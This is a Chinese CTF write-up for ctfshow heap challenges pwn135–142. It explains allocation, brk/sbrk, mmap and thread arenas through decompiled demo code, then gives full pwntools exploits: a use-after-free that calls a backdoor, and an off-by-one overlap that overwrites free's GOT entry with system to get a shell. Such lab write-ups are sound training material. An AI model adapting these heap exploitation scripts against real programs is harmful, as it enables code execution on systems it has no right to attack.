为防止题目难度跨度太大,135-140 为演示题目阶段
# pwn135
# 题目
题目描述: 如何申请堆?
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
演示了 malloc
、 calloc
、 realloc
函数
区别:
- 函数 malloc 不能初始化所分配的内存空间,而函数 calloc 能
- 函数 calloc () 会将所分配的内存空间中的每一位都初始化为零
- realloc 可以对给定的指针所指的空间进行扩大或者缩小,无论是扩张或是缩小,原有内存的中内容将保持不变
【直接输入 4 就可以获得 flag】
# pwn136 (brk 与 sbrk)
# 题目
题目描述: 如何释放堆?
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这里是对 malloc
、 calloc
、 realloc
申请的空间进行释放
# pwn137
# 题目
题目描述: sbrk and brk example
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
int sbrk_brk() | |
{ | |
unsigned int v0; // eax | |
void *v1; // rax | |
char *addr; // [rsp+0h] [rbp-10h] | |
void *v4; // [rsp+8h] [rbp-8h] | |
v0 = getpid(); | |
printf("sbrk example:%d\n", v0); | |
addr = (char *)sbrk(0LL); | |
printf("Program Break Location1:%p\n", addr); | |
getchar(); | |
brk(addr + 4096); | |
v1 = sbrk(0LL); | |
printf("Program Break Location2:%p\n", v1); | |
getchar(); | |
brk(addr); | |
v4 = sbrk(0LL); | |
printf("Program Break Location3:%p\n", v4); | |
getchar(); | |
return system("cat /ctfshow_flag"); | |
} |
这里是利用 brk 和 sbrk 来实现内存分配
brk (addr) 函数直接修改有效访问范围的 末尾地址
实现分配与回收(返回 0 或 - 1)
sbrk () 参数函数中:当 increment 为正值时,间断点位置向后移动 increment 字节。同时返回移动之前的位置,相当于分配内存。当 increment 为负值时,位置向前移动 increment 字节,相当与于释放内存 (返回修改间断点前的地址)
所以这里一开始 addr = (char *)sbrk(0LL);
为间断点起始地址;
brk(addr + 4096);
间断点地址开始 + 4096;
brk(addr);
将间断点设置回原来 addr
处
# pwn138 (mmap 内存映射)
内存映射在多进程访问文件读写的时候非常方便
malloc 会使用 mmap 来创建独立的匿名映射段。匿名映射的目的主要是可以申请以 0 填充的内存,并且这块内存仅被调用进程所使用
【必看:https://cloud.tencent.com/developer/article/1944278?shareByChannel=link#content】
# 题目
题目描述: Private anonymous mapping exampl
64 位程序,保护全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
unsigned int v3; // eax | |
void *addr; // [rsp+8h] [rbp-8h] | |
init(argc, argv, envp); | |
logo(); | |
v3 = getpid(); | |
printf("Welcome to private anonymous mapping example::PID:%d\n", v3); | |
puts("Before mmap"); | |
getchar(); | |
addr = mmap(0LL, 0x21000uLL, 3, 34, -1, 0LL); | |
if ( addr == (void *)-1LL ) | |
errExit("mmap"); | |
puts("After mmap"); | |
getchar(); | |
if ( munmap(addr, 0x21000uLL) == -1 ) | |
errExit("munmap"); | |
puts("After munmap"); | |
getchar(); | |
system("cat /ctfshow_flag"); | |
return 0; | |
} |
建立一个私人匿名映射区域,利用 munmap 来销毁这个区域
# pwn139 (多线程支持)
glibc的ptmalloc支持多线程
,一个线程申请的 1 个或多个堆包含很多的信息,Arena 就是来管理线程中的这些堆的,也可以理解为堆管理器所持有的内存池
一个线程只有一个 arnea,并且这些线程的 arnea 都是独立的不是相同的
主线程的 arnea 称为 “main_arena”。子线程的 arnea 称为 “thread_arena”
# 题目
题目描述: 多线程支持
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
void flag_demo() | |
{ | |
__int64 i; // [rsp+0h] [rbp-20h] | |
FILE *stream; // [rsp+8h] [rbp-18h] | |
__int64 size; // [rsp+10h] [rbp-10h] | |
char *ptr; // [rsp+18h] [rbp-8h] | |
stream = fopen("/ctfshow_flag", "rb"); | |
if ( stream ) | |
{ | |
fseek(stream, 0LL, 2); | |
size = ftell(stream); | |
fseek(stream, 0LL, 0); | |
puts("Allocate heap memory:"); | |
sleep(3u); | |
ptr = (char *)malloc(size); | |
if ( ptr ) | |
{ | |
sleep(1u); | |
puts("Read ctfshow_flag"); | |
sleep(3u); | |
if ( fread(ptr, 1uLL, size, stream) == size ) | |
{ | |
fclose(stream); | |
puts("Here is your flag:"); | |
for ( i = 0LL; i < size; ++i ) | |
putchar(ptr[i]); | |
sleep(1u); | |
puts("free"); | |
free(ptr); | |
} | |
else | |
{ | |
perror("Failed to read file"); | |
fclose(stream); | |
free(ptr); | |
} | |
} | |
else | |
{ | |
perror("Memory allocation failed"); | |
fclose(stream); | |
} | |
} | |
else | |
{ | |
perror("Failed to open file"); | |
} | |
} |
# pwn140(利用 pthread_create函数
创建多线程)
pthread_create () 函数用来创建线程,pthread_join () 函数用来接收线程执行函数的返回值
# 题目
题目描述: 多线程支持
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
int __cdecl main(int argc, const char **argv, const char **envp) | |
{ | |
unsigned int v3; // eax | |
int result; // eax | |
pthread_t newthread; // [rsp+10h] [rbp-20h] BYREF | |
void *thread_return; // [rsp+18h] [rbp-18h] BYREF | |
void *ptr; // [rsp+20h] [rbp-10h] | |
unsigned __int64 v8; // [rsp+28h] [rbp-8h] | |
v8 = __readfsqword(0x28u); | |
init(argc, argv, envp); | |
logo(); | |
v3 = getpid(); | |
printf("Welcome to per thread arena example::%d\n", v3); | |
puts("Before malloc in main thread"); | |
getchar(); | |
ptr = malloc(0x3E8uLL); | |
puts("After malloc and before free in main thread"); | |
getchar(); | |
free(ptr); | |
puts("After free in main thread"); | |
getchar(); | |
if ( pthread_create(&newthread, 0LL, (void *(*)(void *))threadFunc, 0LL) ) | |
{ | |
puts("Thread creation error"); | |
result = -1; | |
} | |
else if ( pthread_join(newthread, &thread_return) ) // 接收子线程函数的返回值 | |
{ | |
puts("Thread join error"); | |
result = -1; | |
} | |
else | |
{ | |
system("cat /ctfshow_flag"); | |
result = 0; | |
} | |
return result; | |
} |
int __fastcall threadFunc(void *a1) | |
{ | |
void *ptr; // [rsp+18h] [rbp-8h] | |
puts("Before malloc in thread 1"); | |
getchar(); | |
ptr = malloc(0x3E8uLL); | |
puts("After malloc and before free in thread 1"); | |
getchar(); | |
free(ptr); | |
puts("After free in thread 1"); | |
return getchar(); | |
} |
# pwn141(uaf)
# 题目
题目描述: 使用已经释放的内存
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
有个后门函数
int use() | |
{ | |
return system("cat /ctfshow_flag"); | |
} |
# 漏洞分析
可以看到题目说明 使用释放的内存
,看代码发现释放的空间没有将指针清空,所以可以接着使用这一部分内容,就可以对其进行改写;接着发现每个 notelist+i
(从 1-4,起始 i 从 0-3)这个数组存放的是 print_note_content
函数来打印对应 chunk 内的内容,而其实最初的选项中打印内容 print_note
函数就是调用的这个函数,这样一来我们改写这个内存存放的函数为后门函数,再打印就能获得 flag
int __cdecl print_note_content(int a1) | |
{ | |
return puts(*(const char **)(a1 + 4)); | |
} |
存放打印函数地址的内存也是由 malloc 来申请的,并且当我们执行一次 add_note
时就会申请一个 8 字节(不包含头部空间)的空间来存放 ptrin_note_content
地址:
申请:
查看堆:
从上面就可以知道,每次申请空间都会顺带申请一个 print_note_content
的空间,而只要将这里修改为后门就能执行获得 flag
利用 uaf,释放我们申请的空间,然后将其 fd 指向存放 print_note_content
函数的地址,申请两次将存放 print_note_content
的内存申请回来修改,最后执行打印即可
【但是这里如何修改 fastbin 中的 fd 呢,申请回去后脱离了 fastbin 表】
【这里想复杂了,无法通过修改 fd 来指向存放 print_note_content
的 chunk,然后申请该 chunk,但是本身它自己就开辟了空间,通过释放后也会进入 fastbin,直接申请 8 字节然后就能申请回来修改地址,然后打印就行】
这里注意一个细节:
打印 index 0 是因为申请 allocate(8,p32(use))
时会先申请一个 8 字节来存放这个 chunk 的 print_note_content
, 也就先将 index1 申请出去了,然后我们申请的其实是 index 0 所以打印 index 0,这也解释了为什么需要一开始要申请两个 chunk
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
#p=process("./pwn141") | |
p=remote("pwn.challenge.ctf.show",28160) | |
#p=remote('node4.buuoj.cn',25727) | |
#e=ELF("./babyheap_0ctf_2017") | |
#write_plt=e.plt["write"] | |
#read_plt=e.plt["read"] | |
use=0x8049684 | |
def allocate(size,content): | |
p.sendlineafter("choice :",b"1") | |
p.sendlineafter("Note size :",str(size)) | |
p.sendlineafter("Content :",content) | |
def free(index): | |
p.sendlineafter("choice :","2") | |
p.sendlineafter("Index :",str(index)) | |
def printf(index): | |
p.sendlineafter(b"choice :",b"3") | |
p.sendlineafter(b"Index :",str(index)) | |
allocate(0x10,"aaaa") | |
allocate(0x10,"bbbb") | |
free(0) | |
free(1) | |
allocate(8,p32(use)) | |
printf(0) // 这里必须打印 index0,打印 index1 就不对 | |
p.recv() | |
p.interactive() |
# pwn142 (off by one 后进行堆溢出,got 改写)
# 题目
题目描述: 堆块重叠
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
# 程序代码
堆的菜单题:
main:
creat_heap:
edit_heap:
show_heap:
delete_heap:
# 漏洞分析:
在 edit
中有个 off by one
漏洞,可以通过申请 0x18/0x28
之类的 chunk(这里记这个保存内容的 chunk 为 conten_chunk
)来将其下一个堆块的 pre_size
来作为空间利用,这样我们还可以多一个字节正好能覆盖到下一个堆块的 size 位(记保存 size 的 chunk 为 size_chunk
)
我们能够覆盖 size_chunk
的 size 为其他大小,然后释放后我们就能够申请这个 size_chunk
,因为改写了其 size 的大小,所以我们就能够溢出到其他的 chunk,可以修改其保存的 content_chunk
地址为 free_got
,然后进行改写
实现方式:
【红色以及上面的部分为 index0,蓝色与绿色为 index1】
可以将上面蓝色框的 size 改为 0x41(相当于申请 0x30 的 chunk)这样可以溢出改写到绿色框的内容(在改写前需要释放 index1,也就是蓝色框和绿色框的 chunk):
释放 index1
接着申请 0x30 的 chunk,就会将蓝色的申请过来,而绿色的就会保存其 size 和其地址(因为其实际大小 0x10),接着就可以通过 0x30 的 chunk 溢出来改写这个 size_chunk 保存的地址,改为 free_got
然后就能通过索引到 free_got 的地方来将 free_got 变为 system 地址【这里注意改写时要将其保存的 size 不能为 0 不然被检测】
最后释放 index0 时就会变成 system (&index0),所以在 index0 写入 /bin/sh\x00
即可
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
#p=remote('node4.buuoj.cn',25727) | |
p=remote("pwn.challenge.ctf.show",28251) | |
e=ELF("./pwn142") | |
#p=process("./pwn142") | |
#write_plt=e.plt["write"] | |
#read_plt=e.plt["read"] | |
free_got=e.got["free"] | |
def creat(size,content): | |
p.sendafter("Your choice :",b"1") | |
p.sendlineafter("Size of Heap : ",str(size)) | |
p.sendlineafter("Content of heap:",content) | |
def edit(index,content): | |
p.sendlineafter("Your choice :",b"2") | |
p.sendlineafter("Index :",str(index)) | |
p.sendafter("Content of heap : ",content) | |
def show(index): | |
p.sendlineafter("Your choice :",b"3") | |
p.sendlineafter("Index :",str(index)) | |
def delete(index): | |
p.sendlineafter("choice :","4") | |
p.sendlineafter(b"Index :",str(index)) | |
creat(0x28,b"a"*4) | |
creat(0x10,b"b"*4)# it has to be 0x10 | |
edit(0,b"/bin/sh\x00"+b"a"*0x20+b'\x41') | |
delete(1) | |
creat(0x30,p64(0)*4+p64(0x10)+p64(free_got)) | |
show(1) | |
p.recvuntil("Content : ") | |
free_=u64(p.recv(6).ljust(8,b"\x00")) | |
libc=LibcSearcher("free",free_) | |
libc_base=free_-libc.dump("free") | |
system=libc_base+libc.dump("system") | |
binsh=libc_base+libc.dump("str_bin_sh") | |
edit(1,p64(system)) | |
delete(0) | |
p.interactive() |